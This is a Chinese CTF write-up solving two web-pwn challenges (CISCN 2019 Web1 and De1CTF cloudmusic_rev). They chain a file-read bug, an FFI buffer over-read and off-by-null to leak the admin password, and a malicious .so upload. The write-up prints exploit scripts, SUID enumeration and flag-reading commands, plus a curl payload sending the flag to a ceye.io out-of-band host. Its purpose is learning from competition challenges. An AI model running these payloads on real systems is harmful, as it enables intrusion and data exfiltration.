之前就想着搞一下pwn的,但是都只是断断续续看了一些汇编还有基础的栈溢出,没有进行系统的学习,想到自己也快大三了,大学生涯也快接近尾声了,加上这次国赛让我认识到自己有多菜(bulid it and 攻防环节都感受到了跟各位师傅的巨大差距),也让我明白了要想挤进一等奖的话pwn能起到很关键的作用。很开心这次在做web题能遇到@impakho 师傅的两道web pwn,虽然没能做出来,但是后面复现的时候学习到了很多东西,也感受到了pwn的魅力,坚定了我想成为一名pwn选手和逆向选手的决心(ps.希望有pwn圈子或者pwn交流群的师傅能收留我,最好是热衷于ctf比赛的, 然后带带我)
我的联系方式QQ:MTU0MzgwODA4 <=> (26+26+10+2)
备注: xz # 这样我就知道了,thanks
欢迎跟我一样菜的pwn萌新来找我一起学习。
国赛2019决赛Web1 - 滑稽云音乐 题目环境及其WP githud地址
我就按照当时国赛给出的环境演示下我的解题思路
国赛当时给出了不完整的源码,主要是网站的脚本代码。
De1ctf 2019 de1ctf web cloudmusic_rev - 滑稽云音乐2.0 题目环境及其wp地址
基于国赛的题目做了一些改动如下:
git clone https://github.com/impakho/ciscn2019_final_web1.git
docker build -t ciscn_web_pwn .
docker run -p 8187:80 ciscn_web_pwn
git clone https://github.com/impakho/de1ctf_cloudmusic_rev.git
docker build -t de1ctf_web_pwn .
docker run -p 8188:80 de1ctf_web_pwn
这个题目步骤并不繁琐,但是考点很新颖,是我见过最好的与pwn结合的题目,这个pwn还是挺基础的,不像之前那个php写一个栈溢出的题目,对新手不是很友好,让我们一起来学习@impakho 师傅出的好题目吧。
(ps.这道题目国赛好像是0解。。。。。。。。。。。但是的确是个好题目。。。而且难度很合适)
当时我好像是花了差不多20分钟通读了一次,代码量并不多,主要是include文件夹还有就是media那个share.php
文件很扎眼,这里我提取下重要的文件出来分析下。
首先当时我也是不知道考点是啥,但是我看到有个验证码需要写下脚本,那么我就先跑去看了下注册文件
这里可以看到对$username $password $code
做了长度限制,验证码的话,直接改下我们常用的脚本
#!/usr/bin/python # -*- coding:utf-8 -*- import random from hashlib import md5 def get_plain(cipher, code, end = 5, length = 8): characters = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|''' characters_ = list(characters) while True: plain = str(''.join(random.sample(characters_, length))) if md5(plain+code).hexdigest()[:end] == cipher: break return plain print(get_plain('2495d', 'tDjpSafn'))
注册了一个 admin321 admin321
的账号,然后我就继续读下登陆之后会有什么功能
我当时比较好奇的是,因为是加载的sqlite文件,所以我当时就分析一波,看下能获得管理员密码不
可以看到文件是运行的时候去生成然后加载的,所以源码是得不到密码的。
然后我就先登陆进去,看下有啥功能然后再去读对应的代码,很好有个上传的功能。
直接跟进代码看看 include/upload.php
<?php if (!isset($_SESSION['user'])||strlen($_SESSION['user'])<=0){ ob_end_clean(); header('Location: /hotload.php?page=login&err=1'); die(); } // 上面做了下用户的验证 include 'NoSQLite/NoSQLite.php'; include 'NoSQLite/Store.php'; function clean_string($str){ $str=substr($str,0,1024);//限制了1m大小 return str_replace("\x00","",$str); //过滤\x00 } if (isset($_FILES["file_data"])){ //开始文件上传 if ($_FILES["file_data"]["error"] > 0||$_FILES["file_data"]["size"] > 1024*1024*1){ ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。'))); }else{ $music_filename=__DIR__."/../uploads/music/".md5($_GLOBALS['salt'].$_SESSION['user']).".mp3"; if (time()-$_SESSION['timestamp']<3){ ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'操作太快了,请稍后再上传。'))); } $_SESSION['timestamp']=time(); move_uploaded_file($_FILES["file_data"]["tmp_name"], $music_filename); //上传没有什么限制 $handle = fopen($music_filename, "rb"); //这里打开了上传的文件 if ($handle==FALSE){ ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'上传失败,未知原因。'))); } $flags = fread($handle, 3); //读取前3个字节 fclose($handle); if ($flags!=="ID3"){ //mp3文件的判断 unlink($music_filename); ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。'))); } try{ //这里是重点进行了FFI调用,我们提取这个关键代码出来分析下 $parser = FFI::cdef(" struct Frame{ int size; char * data; }; struct Frame * parse(char * password, char * classname, char * filename); ", __DIR__ ."/../lib/parser.so"); $result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename); if ($result->size>0x130) $result->size=0x130; $mp3_title=(string) FFI::string($result->data,$result->size); if (substr($mp3_title,0,2)=="\xFF\xFE"){ @$mp3_title_conv=iconv("unicode","utf-8",$mp3_title); if ($mp3_title_conv!==FALSE) $mp3_title=$mp3_title_conv; } $mp3_title=base64_encode(clean_string($mp3_title)); $result=$parser->parse($_GLOBALS['admin_password'],"artist",$music_filename); if ($result->size>0x130) $result->size=0x130; $mp3_artist=(string) FFI::string($result->data,$result->size); if (substr($mp3_artist,0,2)=="\xFF\xFE"){ @$mp3_artist_conv=iconv("unicode","utf-8",$mp3_artist); if ($mp3_artist_conv!==FALSE) $mp3_artist=$mp3_artist_conv; } $mp3_artist=base64_encode(clean_string($mp3_artist)); $result=$parser->parse($_GLOBALS['admin_password'],"album",$music_filename); if ($result->size>0x130) $result->size=0x130; $mp3_album=(string) FFI::string($result->data,$result->size); if (substr($mp3_album,0,2)=="\xFF\xFE"){ @$mp3_album_conv=iconv("unicode","utf-8",$mp3_album); if ($mp3_album_conv!==FALSE) $mp3_album=$mp3_album_conv; } $mp3_album=base64_encode(clean_string($mp3_album)); $song=array($mp3_title,$mp3_artist,$mp3_album); $nsql=new NoSQLite\NoSQLite($_GLOBALS['dbfile']); $music=$nsql->getStore('music'); $res=$music->get($_SESSION['user']); if ($res===null||strlen((string)$res)<=0){ $res=array(); }else{ $res=json_decode($res,TRUE); } array_push($res,$song); $res=json_encode($res); $music->set($_SESSION['user'],$res); ob_end_clean(); die(json_encode(array('status'=>1,'info'=>'上传成功!','title'=>$mp3_title,'artist'=>$mp3_artist,'album'=>$mp3_album))); }catch(Error $e){ ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。'))); } } }else{ if (isset($_SERVER['CONTENT_TYPE'])){ if (stripos($_SERVER['CONTENT_TYPE'],'form-data')!=FALSE){ ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。'))); } } } ?>
我们上面知道了,我们只要构造一个前三个字节为ID3
就可以上传了,所以我们看提取出来的重点代码
首先
$parser = FFI::cdef(" struct Frame{ int size; char * data; }; struct Frame * parse(char * password, char * classname, char * filename); ", __DIR__ ."/../lib/parser.so"); //这里大概的意思是 把c语言的Frame结构体传递给了$parser变量
这里用到了php7(php> 7.40)的一个用法,之前rctf也出了一个相关的题目,所以我比较熟悉这个。
根据文档我们可以得知,第一个参数起到就是c语言的类似于头文件的声明的东西,然后第二个参数就是shared library file
$result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename); //这里调用FFI object的$parser去调用/lib/parser.so 共享链接库的parse函数,我们可以发现它传入了三个参数 // struct Frame * parse(char * password, char * classname, char * filename); // 第一个是admin_password 第二个是title 第三个是我们传入的文件 if ($result->size>0x130) $result->size=0x130; // 这里取回函数执行的结果,限制了$result->size的大小最多为0x130 $mp3_title=(string) FFI::string($result->data,$result->size); // 这里调用了string函数去获取解析了我们mp3文件的歌曲名 if (substr($mp3_title,0,2)=="\xFF\xFE"){ @$mp3_title_conv=iconv("unicode","utf-8",$mp3_title); if ($mp3_title_conv!==FALSE) $mp3_title=$mp3_title_conv; } $mp3_title=base64_encode(clean_string($mp3_title)); ...................................... die(json_encode(array('status'=>1,'info'=>'上传成功!','title'=>$mp3_title,'artist'=>$mp3_artist,'album'=>$mp3_album))); //这里把$mp3_title输出到了前端。 }catch(Error $e){ ob_end_clean(); die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。'))); }
由于自己对于溢出泄漏数据不是很理解,一开始也没发现有啥问题,后面出了提示,提示了size
那个点存在溢出。所以我当时就锁定了这里,但是我找了一圈没有找到parsers.so文件在哪里,源码没有给,当时卡了一会,后面我想起来了,share.php
我一开始就发现是个文件读取漏洞了,但是我当时以为是出题人留的后门啥的,想着直接读flag但是发现读不了,觉得应该是做了权限的限制,只能读网站目录下的文件,当时我就觉得
__DIR__ ."/../lib/parser.so
这个东西拼接了__DIR__
很明显就是在网站目录下嘛,一下子就把share.php
文件想起来了,我们来看看。
ciscn2019_final_web1/source/media/share.php
<?php # For sharing files in /media directory, do not delete, you can modify # 分享功能,用来分享/media文件夹下的文件。不可删除,可以按需修改。 ini_set('display_errors','Off'); error_reporting(0); header('Content-Type: application/octet-stream'); //这里设置了是流类型 $filepath=base64_decode($_SERVER['QUERY_STRING']); //这里很简单直接取了$_SERVER['QUERY_STRING'] 然后base64解码 if (strlen($filepath)<=0) exit(); $file=fopen($filepath,"rb"); if ($file==FALSE) exit(); ob_clean(); while(!feof($file)) { print(fread($file,1024*8)); //直接读取8m,然后print输出,其实就是把内容读入到了输出流 ob_flush(); flush(); }
所以我们可以构造下链接,然后直接访问就可以把parser.so
文件给下载下来。
http://127.0.0.1:8187/media/share.php?../lib/parser.so
然后base64一下
http://127.0.0.1:8187/media/share.php?Li4vbGliL3BhcnNlci5zbw==
记住要在浏览器打开下载回来,要不然容易损坏文件,我当时测试wget不行,但是我复现可以,迷。。。。
然后我们修改下后缀为elf,然后打开ida进行分析一下。
file
查看下,确定是64位程序
首先补充下一些概念
ELF, Executable and Linking Format,是一种用于可执行文件、目标文件、共享库、和核心转储的标准文件格式。
ELF有四种不同的类型:
1.可重定位文件(Relocatable): 编译器和汇编器产生的.o文件
2.可执行文件(Executable):Have all relocation done and all symbol resolved except perhaps shared libray symbols that must be resolved at run time
3.共享对象文件(Shared Object): 动态库文件(.so)
4.核心转储文件(Core File)
所以说其实那个parser.so就是作为一个共享库的存在,我们也可以直接看file结果可以看出来
这个parser.so是一个标准的64位动态库文件,所以我们采取64位的ida进行打开。
我们直接在右边按下p
去找parser函数去读下
汇编其实也很好读,伪代码更直接,不过ida定义了很多自定义的数据类型,所以我们可以去了解下ida def.h
,能帮助我们更好的读懂程 这里补充下ida一些小知识 我比较常用的小功能是:
F5: 反编译出c语言的伪代码,这个基本是我这种菜鸡特别喜欢用的。
空格: IDA VIEW 窗口中 文本视图与图形视图的切换, 好看。直观,哈哈哈
shift + f12:查找字符串 逆向的时候能快速定位
n: 重命名 整理下程序的命名,能理清楚逻辑
x: 查看交叉引用
我们可以分析下这段ARM汇编风格的汇编程序
首先是 public parse
定义子模块
parese proc near
代表子程序的开始
parse enp
代表子程序结束
; __unwind{ main proc};
里面的代码就是函数实现的主要汇编代码
因为后面差不多,我们直接分析下开头和读取titie的汇编代码
看不懂先了解下小知识(后面我会写一个真正的小白逆向入门系列之汇编理论到实践篇)
我学汇编看的是王爽写的<<汇编语言>> 第三版
然后书本用的案例是Intel 8086 cpu
然后8086是16位cpu,有14个寄存器(16位,可以存放两个字节): AX BX CX DX | SI DI SP BP IP CS SS DS ES PSW
32位的对应就是: eax ebx ........
64位就是: rax rbx rcx .........
还有其他细节指令也变了,但是大体上差不多的,到时候我会在下一篇文章进行对比分析下。
内存是字节单元(一个单元存放一个字节,一个字节8位)
字单元: 由两个地址连续的内存单元组成,存放一个字型数据的内存单元。
其实读懂这段代码非常简单,就是一个函数调用, 压栈的过程
栈顶在内存中是高地址向低地址增长的
然后就是常说的一些函数约定:
参数少于7个时,参数从左到右放入到寄存器中: rdi rsi rdx rcx r8 r9
当参数7个以上时,前六个不变,但后面的依次从右往左放入栈中。
.text:0000000000002983 var_18 = qword ptr -18h
.text:0000000000002983 s1 = qword ptr -10h
.text:0000000000002983 var_8 = qword ptr -8
.text:0000000000002983
.text:0000000000002983 ; __unwind {
.text:0000000000002983 push rbp
.text:0000000000002984 mov rbp, rsp
.text:0000000000002987 sub rsp, 20h
.text:000000000000298B mov [rbp+var_8], rdi
.text:000000000000298F mov [rbp+s1], rsi
.text:0000000000002993 mov [rbp+var_18], rdx;传入参数 _int64 8字节
.text:0000000000002997 mov eax, 0
.text:000000000000299C call _init_proc ;这里调用__init_proc函数
.text:00000000000029A1 mov rax, [rbp+var_8]
.text:00000000000029A5 mov rdi, rax
.text:00000000000029A8 call _check_password
.text:00000000000029AD cmp eax, 1 //结果比较
.text:00000000000029B0 jnz short loc_2A1F //if判断
.text:00000000000029B2 mov rax, [rbp+s1]
.text:00000000000029B6 lea rsi, aTitle ; "title"
.text:00000000000029BD mov rdi, rax ; s1
.text:00000000000029C0 call _strcmp
.text:00000000000029C5 test eax, eax
.text:00000000000029C7 jnz short loc_29D7
.text:00000000000029C9 mov rax, [rbp+var_18]
.text:00000000000029CD mov rdi, rax
.text:00000000000029D0 call _read_title
.text:00000000000029D5 jmp short loc_2A1F
对应的伪代码:
我们跟进下init_proc()
初始化函数
这里我们可以看到 这个反汇编的结果不是很正确,还是看汇编比较好。
其实这里frame_data
是一个指向_frame_data
的指针。
然后就是把参数传入_memset
函数啦, rdi
寄存器存放参数值就是frame_data
指针的,然后edx
存放大小,esi
存放初始化的值。
上面那个汇编对应的就是:
memset(&frame_data, 0, 0x100uLL);
其实真实源码是这样的
理解了这个,我们就可以继续分析这个漏洞了。
当时我以为check_password
会硬编码在程序里(但是前面我们知道它是随机生成然后写入文件的)呢,这样就是一道简单的逆向题,我还是太天真了
所以最后我还是乖乖的根据提示去找size
溢出点了。
我们跟进下read_title
这个函数看看
这个我个人不是很建议去跟,程序不是很好读,我们不如直接搜索mp3结构,来了解下判断原理
我们结合@impakho师傅的脚本来看下构造是对应上面结构,其实你直接看源文件也可以发现构造规则。
def upload_music(): url = site_url + '/hotload.php?page=upload' data = {'file_id': '0'} music = preset_music[:0x6] + '\x00\x00\x03\x00' + preset_music[0x0a:0x53] music += '\x00\x00\x03\x00' + '\x00\x00\x03' + 'a' * 0x300 + '\x00' files = {'file_data': music} if logging: print(url) if logging: print(data) # res = post(1, url, data, files) if logging: print(res.text) if '"status":1' in res.text: try: return b64decode(json.loads(res.content.strip())['artist'])[-16:] except: return '' return ''
我们生成一个文件来看看
然后按照上面的文件结构,我们就知道构造原理了
这里要对应好大小,要不然解析读取的时候可能会出错了,导致不成功。
我们把生成的文件上传试试看
至于为什么会这样? 其实这个就是这个题目pwn的考点。
$result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);
这段php代码就会根据结构体的定义接收到了return result
and return frame_size
然后就会通过ffi的自定义函数去读取数据
通过文档我们可以如果size参数省略那么,那么就会根据\0
去结束。
也就是这个函数的逻辑应该是优先根据结束符,次之是根据size参数来读取字符串长度的(想想代码是如何实现上面size效果就可以猜到了,不信的话可以直接撸一下ffi扩展string函数源码,欢迎师傅和我交流下这里)
if ($result->size>0x130) $result->size=0x130; $mp3_artist=(string) FFI::string($result->data,$result->size);
你们看到这里有什么不对了吗?
首先$result-data ->
对应的是 frame_data
,然后frame_data
指向的__frame_data
数组只有0x100的大小,
但是这里竟然可以读取最多是0x130 多了0x30可以读取,这会导致什么问题呢,很显然的话就会数组越界从而读取到下一个地址的数据。
那么具体成因是啥呢? 我们继续分析下代码
(unsigned __int8)(((unsigned __int64)frame_size[0] >> 56) + LOBYTE(frame_size[0])) - ((unsigned int)(frame_size[0] >> 31) >> 24)
上面这个memcpy的第三个参数很有意思,看下汇编
一些汇编小知识:
sub ax,bx <=> ax -bx
add ax,bx <=> ax = ax + bx
我当时问了下其他师傅具体怎么算的,这个是gcc优化导致的,我们可以自己写一段代码来调试就知道了。
所以那句话其实就是eax%256
256=>0x100
这个程序的源代码是这样的,gcc优化后的确挺难理解的,后面我会针对这个问题,研究下。
这样你想想会导致什么问题。
我先看下.bss段中变量存放的地址
_BSS段_通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前_BSS段_会自动清0。,但是地址偏移是不变。
然后 0x93c0 - 0x92c0= 0x100
,password
长度<0x30
这样就可以泄漏出密码了。
这里我直接给你们看两个程序就明白了
然而后面我跟了下.so
的源代码然后和@impakho师傅聊了下,发现拼接的字符串根本没有\0
,所以这道题目
只需要伪造size是个比较大的值就可以了,原因看下下面这个程序就懂了。
然后我们愉快的获取到了管理员密码,然后我们就需要去看看需要管理员操作的地方有没有什么getshell的点。
include/firmware.php
很直接,我们跟进看看
可以看到这里主要限制了文件大小,限制了elf文件头,然后生成的文件名是利用随机数拼接username
(如果上传比较快的话,这个可以直接得到的) 不用像原作者那么复杂,调用python的类。
所以说我们可以构造一个任意指令的elf文件然后传入路径给ffi去加载,我们可以控制指令读取flag的值然后赋值给
* version
就行了。
这样我们相当于可以执行命令,但是我们没办法cat /flag
因为/flag
权限是600
所以我们需要利用suid的程序进行读取/flag,脚本如下
#include <stdio.h> #include <stdlib.h> #include <string.h> char _version[0x500]; char * version = &_version; __attribute((constructor)) void fun(){ memset(version, 0 ,0x500); FILE * fp = popen("find / -user root -perm -4000", "r"); if (fp==NULL) return; fread(version, 1 , 0x500,fp); pclose(fp); }
我们也可以直接执行system然后写入目录里面。
#include <stdio.h> #include <stdlib.h> #include <string.h> char _version[0x130]; char * version = &_version; __attribute((constructor)) void fun(){ memset(version, 0 ,0x130);ls strcpy(version, "v2.0"); system("find / -user root -perm -4000 > /var/www/html/uploads/firmware/res.txt"); }
gcc编译命令share object:
gcc -shared -fPIC -o web1.so web1.c
然后我们上传这个文件就行了。
这里需要注意下本地的php版本要大于7因为,php7修复了随机数生成的一些缺陷,导致与php7一下生成的值不一样。
// exp.php <?php mt_srand(time()); echo time()." | "; echo md5(mt_rand().'admin')."\n";
#!/usr/bin/pyhton # -*- coding:utf-8 -*- import requests import os cookie = { "PHPSESSID":"dgs7mi8558jubi3nrqrtht929a } file = { "file_data":open("web1.so","rb") } data = { "file_id":0 } os.system("php exp.php") resp = requests.post("http://222.85.25.41:9090/hotload.php?page=firmware",data=data,files=file,cookies=cookie) os.system("php exp.php") print resp.text
py跑起来
从返回结果看,我们可以很明显看到一个可以读取文件的命令tac
然后稍微改下命令就可以get flag了
#include <stdio.h> #include <stdlib.h> #include <string.h> char _version[0x500]; char * version = &_version; __attribute((constructor)) void fun(){ memset(version, 0 ,0x500); FILE * fp = popen("/usr/bin/tac /flag", "r"); if (fp==NULL) return; fread(version, 1 , 0x500,fp); pclose(fp); }
代码主体还是国赛的题目源码,所以我们做这道题目可以白盒+黑盒来做。
首先先黑盒搞出那个文件读取,后面就是白盒操作了。
这个考点的确是有依据的,因为$_SERVER['QUERY_STRING']
不会对字符串解码,但是浏览器会自动编码,所以通常写代码的时候就会urldecode
,如果写错了过滤与解码的顺序,就会导致出现漏洞。
所以说我们把上面那个payloas urlencode一下再base64一下就能获取代码了。
参照国赛的题目,我们读取3个文件的代码就行了,关于验证码很简单这里就不叙述了。
直接上脚本
#!/usr/bin/python # -*- coding:utf-8 -*- import random from hashlib import md5 def get_plain(cipher, code, end = 5, length = 8): characters = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|''' characters_ = list(characters) while True: plain = str(''.join(random.sample(characters_, length))) if md5(plain+code).hexdigest()[:end] == cipher: break return plain print(get_plain('852619', '3ECBACGv', 6))
然后我们读下 upload.php
firmware.php
parser.so
你会发现data
写在了size
的上面了,然后限制了大小修改为了0x70
然后firmware.php
去掉了回显,但是我们可以通过写入uploa文件夹,脚本如下
#include <stdio.h> #include <string.h> char _version[0x130]; char * version = &_version; __attribute__ ((constructor)) void fun(){ memset(version,0,0x130); FILE * fp=popen("/usr/bin/tac /flag > /var/www/html/uploads/firmware/wulasite.txt", "r"); if (fp==NULL) return; fread(version, 1, 0x100, fp); pclose(fp); }
外带数据的话,so文件代码如下:
#include <stdlib.h> #include <stdio.h> #include <string.h> char _version[0x130]; char *version = &_version; __attribute ((constructor)) void shell(){ strcpy(version, "cloudmusic_rev"); // excute command const char *command = "curl -v --data-urlencode flag=`/usr/bin/tac /flag` 3bqxxx.ceye.io"; system(command); }
下面让我们重点分析那个pwn点吧,打开ida进行分析
我们可以看到相对国赛的改动
限制了内容长度最大是0x70
这里用strlen来判断是存在问题的,因为strlen
是不会把\0
去计算进去的。那么是怎么实现攻击 off by null攻击的呢。
其实就是修改了mem_mframe_data
的地址为 存放密码的mem_passwd
这里为什么用国赛的思路不行呢,这里我简单说说
1.首先是限制了0x70
def upload_music(): music = preset_music[:0x6] + '\x00\x00\x03\x00' + preset_music[0x0a:0x53] music += '\x00\x00\x03\x00' + '\x00\x00\x03' + 'a' * 0x70 + '\x00' with open('web2.mp3', 'wb') as f: f.write(music)
当我们上传这个内容是0x70长度的mp3上去时
首先mem_mframe_data
数组大小是0x70
这里发生了溢出,溢出了\0
,strcpy本来返回的是 mem_mframe_data
地址值,但是由于溢出了,直接修改了ebp的低位,从而
这样就实现了修改地址,从而string函数读取的时候就跑去读密码的地址了。
不懂可以看下这个文章: Linux (x86) Exploit 开发系列教程之三(Off-By-One 漏洞 (基于栈))
很感谢三叶草的@0xC4m3l师傅,还有@impakho、@湖大QQ星师傅耐心解答我的问题,让我学习到了很多大师傅们的姿势,一想到从最开始高三暑假三叶草@流星师傅带我入门ctf,到现在都过去了2年了,现在自己的水平打比赛还是很吃力,吹爆三叶草的各位师傅,希望自己能加把劲跟上师傅们的步伐,不辜负流星师傅一直以来对我的耐心指导。
这两个题目很有意思的,让人感觉pwn与web结合起来是多么美妙的事情,同时我感觉到了pwn真的是很有意思的东西,就是感觉有种geek的感觉,这是让我感觉跟web差别很大,很有意思的东西。还有就是自己需要多写汇编,重新巩固c语言基础,然后ida反编译去学习gcc优化代码与源代码的差异。最后小小吐槽下这个题目,这个题目考点不是很难,难的是比较新颖,如何构造一个满足的mp3文件,在国赛那种断网环境,真的不容易。